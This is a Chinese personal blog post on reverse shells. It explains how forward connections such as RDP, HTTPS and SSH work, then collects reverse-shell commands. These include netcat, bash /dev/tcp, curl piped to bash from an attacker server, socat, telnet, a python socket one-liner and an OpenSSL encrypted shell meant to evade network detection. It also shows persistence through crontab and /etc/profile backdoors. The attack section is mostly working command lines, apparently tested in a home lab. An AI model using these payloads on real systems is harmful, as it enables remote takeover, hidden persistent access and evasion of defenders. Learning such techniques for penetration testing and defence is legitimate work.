反弹shell
反弹 shell
前言
反弹 shell,就是让攻击机监听在某个 TCP/UDP 端口为服务端,目标主机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
机器的两种连接方式
正向连接
假设我们攻击一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(ip:port),这是比较常规的方式,我们叫做正向连接。远程桌面、 web 服务、ssh、telnet 等等都是正向连接。
下面简单讲讲这些正向连接的过程(因为这部分也是我的知识盲区了,我还得练啊)。
远程桌面
第一阶段:发起连接
在电脑上打开以一个”远程桌面连接“工具,输入对方的 ip,然后点击”连接“。
第二阶段:协议协商
这里是技术含量较高的部分,主要由远程桌面协议(RDP)在后台自动化完成:
- 默认走TCP通道:首先客户端通过默认的3389端口,与被控电脑(服务器端)建立一个基于 TCP 协议的连接。TCP 连接非常可靠,能保证初始的握手信息不丢包。
- 尝试升级UDP通道:如果网络条件允许(如防火墙没有拦截),RDP 会尝试建立一个基于 UDP 协议的连接。因为 UDP 传输效率更高、延迟更低,会让后续的远程操作更流畅,尤其适合传输画面和声音。如果 UDP 建立成功,之前的 TCP 连接可能会被释放,所有浏览都切换到 UDP 上。
第三阶段:身份验证
通道建立完成后,会进行严格的安全检查:
- 加密协商:客户端和服务器会商量用一种双方都支持的加密方式。RDP 默认使用 RC4 加密算法,密钥长度可达128位,确保在验证身份和后续传输数据时,信息都是密文,不会被窃取。
- 递交凭证:这时,你的屏幕上会弹出窗口,要求输入被控电脑的账号和密码。这一般需要是对方电脑上一个设置了密码的本地账户或微软账户。
- 网络级身份验证(NLA):为了更安全,现代Windows系统默认会开启NLA。它的好处是,在建立完整的远程桌面连接之前,就先把你的身份凭证验证完。这可以有效防止未授权用户消耗服务器资源,也能抵御某些类型的攻击。
第四阶段:会话建立与数据传输
一旦身份验证通过,一个专属你的远程会话就建立了。此时,RDP的多通道能力开始作用,它会把不同类型的任务放到不同的“车道”上并行处理。
Web 服务
第一步:解析URL,确定目的地
当我们在浏览器地址栏输入https://www.example.com/index.html并回车后,浏览器会先解析这个URL,拆解出关键信息:
- 协议:
https,这决定了后续的连接方式和安全级别。 - 主机名(域名):
www.example.com,这是目标服务器的”名字“,我们需要把它翻译成机器能懂的 IP 地址。 - 资源路径:
/index.html,指明想要获取服务器上的那个文件。
第二步:DNS查询,将域名换成 IP
浏览器本身不认识域名,必须通过互联网上的”通讯录“——DNS(域名系统),把域名翻译成服务器的 IP 地址。
- 查缓存:浏览器会先查询自己的记录,看看最近有没有访问过这个域名。如果没找到,就去查操作系统本地的 Hosts 文件和 DNS 缓存。这是最快的一步。
- 递归查询:如果都没找到,系统会向网络配置里配好的 DNS 服务器发起查询。这台 DNS 服务器如果也不知道,就会从根域名开始,一级一级问下去,直到拿到最终的 IP 地址。
第三步:建立可靠的 TCP 连接(三次握手)
拿到 IP 地址后,浏览器会向服务器的443端口发起 TCP 连接,这个连接通过三次握手来保证可靠性:
- 第一次握手:浏览器发一个信号(SYN)
- 第二次握手:服务器收到后回复(SYN-ACK)
- 第三次握手:浏览器再发一个确认(ACK)
对于 HTTPS,在 TCP 连接建立后,TLS 握手就会立即开始。
第四步:TLS 安全握手,进行加密
HTTPS 的核心就是安全,所以在传递真正的网页请求前,双方要先通过 TLS 握手,约定好一套加密的通信规则。
- 客户端问候:客户端把支持的加密算法和随机生成的串告诉服务器。
- 服务器回应:服务器选定一套算法,也发出自己的随机串,并把最重要的 SSL 证书发给浏览器。这张证书相当于服务器的“身份证”。
- 验证证书:浏览器会仔细检查这个证书:是否由受信任的“发证机关”(CA)颁发?是不是还在有效期内?上面的名字和当前访问的网站域名是不是对的上?
- 密钥交换:验证通过后,浏览器会生成一个“预主密钥”,并用证书里的公钥加密,传给服务器。这个“预主密钥”只有服务器用它的私钥才能解开。
- 生成会话密钥:现在,浏览器和服务器都手握“客户端随机串”、“服务器随机串”和“预主密钥”这三样东西,双方用相同的算法,各自生成一把完全相同的会话密钥。之后所有的数据传输,都用这把对称密钥来加解密,既安全又高效。
第五步:发起 HTTP 请求,获取内容
进行加密之后,浏览器才会发起真正的 HTTP 请求。请求报文中包含具体要做的事:
- 请求行:
GET /index.html HTTP/1.1,意思是“用GET方法,获取服务器上/index.html这个文件”。 - 请求头:一系列键值对,告诉服务器关于客户端的信息,比如浏览器类型(User-Agent)、能接受什么格式的文件(Accept)等。
- 请求体:GET请求通常没有主体,如果是POST登录,用户名密码就会放在这里。
第六步:服务器响应
服务器收到请求后,会找到对应的资源,并返回一个HTTP响应。
- 状态码:首先是一个三位数字,告诉你请求的结果。最常见到的
200 OK表示成功;如果文件找不到,就是404 Not Found。 - 响应头:描述返回内容的信息,比如数据类型(Content-Type: text/html)、数据长度、服务器软件等。
- 响应体:最后才是真正请求的资源内容,比如一张图片的二进制数据,或是构成网页的HTML、CSS、JavaScript代码。
第七步:浏览器渲染,从代码到页面
浏览器拿到HTML、CSS、JavaScript后,开始忙碌地解析和渲染,把代码变成你眼前五彩斑斓的网页。它会:
- 解析HTML,构建DOM树,形成页面骨架。
- 解析CSS,构建CSSOM树,给骨架化妆。
- 将二者合成渲染树,计算布局,进行绘制。
- 执行JavaScript代码,让页面动起来。
SSH 连接
SSH(Secure Shell)的核心目标是安全地获得一个远程服务器的命令行操作环境,它就像一个加密的“遥控器”,让你能像坐在机房里一样敲命令。
第一阶段:传输层建立(TCP与版本协商)
这是最基础的一步,和Web服务类似,客户端会先与服务器的22号端口建立一个普通的TCP连接(三次握手)。连上后,双方会互发一个版本号字符串,比如“SSH-2.0-OpenSSH_8.9”,以确认都支持SSH-2协议,并屏蔽掉不安全的SSH-1。
第二阶段:密钥交换与加密建立(最关键的安全基础)
这是SSH连接的精髓。此刻双方之间还没有任何加密保护,所有后续的加密全靠这一阶段生成的“临时会话密钥”。整个过程巧妙结合了非对称加密和对称加密:
- 协商算法:客户端和服务器互相发一份自己支持的加密算法列表(包括密钥交换、对称加密、MAC算法等),并自动选定一组双方都支持的最强组合。
- 密钥交换(核心):双方常通过**迪菲-赫尔曼(Diffie-Hellman)**算法,通过在不安全的网络上交换一些公开信息,神奇地各自算出同一个“共享秘密”,且这个秘密从未在网络上明文传输过。这个“秘密”再结合一些随机数,就能派生出唯一的“会话密钥”,用于加密后续所有通信。
- 生成并验证会话密钥:用协商好的对称加密算法(如AES)和派生出的会话密钥,把之前所有的协商消息做个哈希,发给对方。如果双方算出的哈希值一致,就说明中途没被篡改,加密通道正式建立。此时,黑客即便截获了数据包,看到的也只是杂乱无章的密文。
第三阶段:用户认证
加密通道建好后,你才在密文隧道里向服务器证明身份。服务器会告诉客户端它支持哪些认证方式,常见的按优先级排列有两种:
公钥认证(最推荐):
- 客户端告知服务器,想用某个公钥对应的私钥来验证。
- 服务器用这个公钥加密一个随机挑战字符串,发回给客户端。
- 客户端用私密保存的私钥解密,再结合一些会话信息算出摘要发回去。
- 服务器也自己算一遍,一对比,完全一致,认证通过。
密码认证(最简单):
客户端就把你的密码,通过已经加密的隧道安全地传给服务器验证。这种方式强依赖于密码强度,且容易受暴力破解威胁。
第四阶段:会话建立与通道复用
认证通过后,SSH的能力远超一个简单命令行的范畴。它可以在这一条加密连接上,复用出多个逻辑“通道”,支撑各种功能:
- Shell会话:你得到的那个
$或#开头的交互命令行。 - 远程命令执行:连上瞬间执行一条命令就断开,比如
ssh user@host ls -la。 - 文件传输:
scp或sftp命令,走的就是同一个加密隧道。 - 端口转发(隧道):最强大的功能之一。可以把本地端口流量加密传到服务器再转发(本地转发 -L),或反过来(远程转发 -R),甚至可以建立加密的Socks代理(动态转发 -D)。
反向连接
当正向连接无法接入时我们需要反向连接,都要这些情况:
- 比如在渗透过程中,发现 22 端口是存在的,当时因为防火墙的存在,目标机器只能与加白的机器连接。
- 目标机端口被占用。
- 目标机位于局域网,或 IP 会动态变化,攻击机无法直接连接。
- …
反向连接就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序。
反弹 shell 的方式有很多,具体要用那种还需要看目标主机的环境,比如目标主机上如果安装了 netcat,我们就可以利用 netcat 反弹 shell;如果有 python 环境,就可以利用 python 反弹 shell。如果有 php 环境,就可以利用 php 反弹 shell。
反弹 shell 姿势总结
我使用的是 kali 和 centos7 作为实验环境。
使用 nc 反弹 shell
kali 上开启监听:
1 | nc -lvp 4444 |
centos7 连接 kali:
1 | nc 192.168.110.128 4444 -e /bin/bash |
如果没有 bash,可以用 sh:
1 | nc 192.168.110.128 4444 -e /bin/sh |
利用 bash 反弹 shell
kali 中同样用 nc 监听。
反弹 shell 最好用的办法就是使用 bash 同时结合重定向:
1 | bash -i >& /dev/tcp/192.168.110.128/4444 0>&1 |
bash -i:产生一个 bash 交互环境。>&:将联合符号前面的内容与后面相结合,然后一起重定向给后者。/dev/tcp/192.168.110.128/4444:让目标主机与攻击机 kali 的 4444 端口建立一个 tcp 连接0>&1:将标准输入与标准输出的内容相结合然后重定向给前面标准输出的内容。
curl 结合 bash 反弹 shell
在攻击者的云服务器上创建一个 index 文件:
1 | bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1 |
开启 2333 端口的监听。
然后在目标机上执行:
1 | curl 47.xxx.xxx.72|bash |
curl 命令后的 ip 可以是十进制、十六进制、八进制、二进制。
定时任务反弹 shell
直接写入 Crontab 文件(需要有写入权限)
什么是 Crontab 文件?
Crontab 是 Linux/Unix 系统中的定时任务配置文件,用于让系统在指定时间自动执行特定命令或脚本。
Cron 是什么?
- Cron 是 Linux 系统中的后台守护进程,负责按照预定时间自动执行任务。
- 它会每分钟检查一次系统时间,比较是否有需要执行的定时任务。
Crontab 的作用
- 用户通过编辑 crontab 文件来创建、修改、删除定时任务。
- 每个用户可以有自己的 crontab 文件(独立的任务列表)。
- 系统也有全局的 crontab 文件。
Crontab 文件的位置与类型
| 类型 | 路径 | 说明 |
|---|---|---|
| 用户级 | /var/spool/cron/crontabs/<用户名>(Debian/Ubuntu)/var/spool/cron/<用户名>(RHEL/CentOS) |
每个用户独立,不要直接编辑。通过 crontab -e 命令修改。 |
| 系统级 | /etc/crontab |
系统全局任务,需要 root 权限编辑。格式与用户级略有不同(多了一个用户字段)。 |
| 系统级目录 | /etc/cron.d/ |
存放额外的 crontab 片段文件。 |
| 系统级脚本目录 | /etc/cron.hourly//etc/cron.daily//etc/cron.weekly//etc/cron.monthly/ |
存放按频率执行的 shell 脚本,系统会自动运行。 |
Crontab 文件格式
用户级 Crontab(通过 crontab -e 编辑)
每行代表一个定时任务,格式为:
1 | * * * * * command_to_execute |
系统级 Crontab
比用户级多了一个用户字段,指定以哪个用户的身份执行:
1 | * * * * * username command_to_execute |
常用的 Crontab 命令
| 命令 | 说明 |
|---|---|
crontab -e |
编辑当前用户的 crontab 文件 |
crontab -l |
列出当前用户的所有定时任务 |
crontab -r |
删除当前用户的所有定时任务 |
crontab -u username -e |
编辑指定用户的 crontab(需要 root 权限) |
crontab -i -r |
删除前确认(避免误删) |
回归反弹 shell:
1 | # 编辑当前用户的 crontab |
注:/dev/tcp/ 是 Bash 内置特性,并非文件,仅在使用 Bash 时有效。某些精简系统(如 Alpine)可能不支持。
写入系统级 Crontab 文件(通常需要 root 权限)
1 | # 追加一行到 /etc/crontab |
放入 Crontab 目录(自动化脚本位置)
1 | # 创建反弹 shell 脚本 |
利用用户的个人 Crontab 文件
1 | # 以当前用户身份编辑 |
利用 /etc/profile 反弹 shell
/etc/profile是一个系统级全局配置文件,当用户通过登录 Shell(如 SSH 登录、终端登录、su - 切换用户)时,系统会自动执行该文件中的命令。将其用于反弹 Shell,本质上是创建一个持久化后门,当合法用户登录时就触发反向连接。
把反弹 shell 的命令写入文件:
1 | # 需要 root 权限编辑 /etc/profile |
可能需要提权。
注:在命令的末尾加&是为了让命令在后台允许,避免阻塞登录过程。
socat 反弹 shell
Socat 是 Linux 的一个多功能网络工具,是基于 socket 的,功能与 nc 类似。
攻击者本地监听:
1 | socat TCP-LISTEN:2333 - |
目标机连接攻击机:
1 | socat tcp-connect:47.xxx.xxx.72:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane |
Telnet 反弹 shell
当 nc 和 /dev/tcp 都不可用且目标主机和攻击机都支持 Telnet 服务时,可以使用 Telnet 反弹 shell。
攻击机开启监听:
1 | nc -lvvp 2333 |
目标机:
1 | mknod a p; telnet 47.xxx.xxx.72 2333 0<a | /bin/bash 1>a |
各类脚本反弹 shell
这里只记录 python 反弹 shell 的方法,因为现在一般的 Linux 发行版都自带了 python 环境,使用方便。(也有我语言栈太窄的原因,perl 不常用,ruby 没学过)
目标机连接:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
使用 Metasploit 生成反弹 shell 的 payload
(渗透这部分我还没学,等学了之后在对此进行补充)
反弹 shell 后获取虚拟终端
上面所讲方法的获取到的 shell 并不是一个标准的虚拟终端环境,仅仅是一个标准输入。这样就存在一个问题,我们即使获取了目标虚拟终端控制权限,也会发现其交互性很差,回显信息与可交互性很差而且不稳定。一般会有一下几种情况:
- 获取的虚拟终端没有交互性,我们想给添加的账号设置密码或执行 sudo 等命令时无法完成。
- 标准的错误输出无法显示,无法正常使用 vim 等文本编辑器。
- 获取的目标主机的虚拟终端使用不稳定,容易断开连接。
这些往往都是因为我们获取的 shell 不是标准的虚拟终端,为了能够完成输入密码等操作,我们必须模拟一个真正的终端设备。
我们可以利用 python 默认包含的一个标准库—— pty,来获取一个标准的虚拟终端环境。
在获取的 shell 中输入命令:
1 | python -c "import pty;pty.spawn('/bin/bash')" |
这样就可以模拟出一个终端。
使用 OpenSSL 反弹加密 shell
上面的反弹 shell 的方式都有一个缺点,就是所有的流量都是明文传输的。这些通过 shell 传输的流量都可以被管理员直接抓取并理解,当目标主机网络环境存在网络防御检测系统时,网络防御检测系统会获取到我们的通信内容并进行告警和阻止。因此,我们需要对通信内容进行混淆或加密,这时可以使用 OpenSSL 反弹一个加密的 shell。
OpenSSL 简介
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。
在利用 OpenSSL 反弹 shell 之前需要先生成自签名证书:
1 | openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes |
假设我们从目标机反弹 shell 到攻击机 。首先需要利用上一步生成的自签名证书,在攻击机上使用 OpenSSL 监听一个端口,在这里使用 2333 端口:
1 | openssl s_server -quiet -key key.pem -cert cert.pem -port 2333 |
此时 OpenSSL 便在攻击机的 2333 端口上启动了一个 SSL/TLS server。
这时在目标机进行反弹 shell 操作,命令为:
1 | mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 47.xxx.xxx.72:2333 > /tmp/s; rm /tmp/s |
这样攻击者便使用 OpenSSL 反弹了目标机一个加密的 shell。
- Title: 反弹shell
- Author: SoloWalker
- Created at : 2026-05-01 00:00:00
- Updated at : 2026-05-02 20:01:05
- Link: https://s0lowalker.github.io/2026/05/01/反弹shell/
- License: This work is licensed under CC BY-NC-SA 4.0.